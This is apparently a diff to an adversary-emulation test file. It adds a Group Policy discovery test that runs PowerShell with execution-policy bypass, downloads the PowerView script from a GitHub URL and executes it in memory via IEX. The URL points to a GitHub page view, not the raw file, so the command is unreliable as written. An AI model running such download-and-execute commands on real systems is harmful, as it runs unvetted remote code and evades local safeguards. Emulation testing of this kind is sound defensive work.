diff --git a/atomics/T1615/T1615.yaml b/atomics/T1615/T1615.yaml index 05fcc255..4401124e 100644 --- a/atomics/T1615/T1615.yaml +++ b/atomics/T1615/T1615.yaml @@ -16,3 +16,12 @@ atomic_tests: elevation_required: false command: | gpresult /z + +- name: Get-DomainGPO to display group policy information via PowerView + description: Use PowerView to Get-DomainGPO This will only work on Windows 10 Enterprise and A DC Windows 2019. + supported_platforms: + - windows + executor: + command: powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://github.com/BC-SECURITY/Empire/blob/86921fbbf4945441e2f9d9e7712c5a6e96eed0f3/empire/server/data/module_source/situational_awareness/network/powerview.ps1'); Get-DomainGPO" + name: powershell + elevation_required: true \ No newline at end of file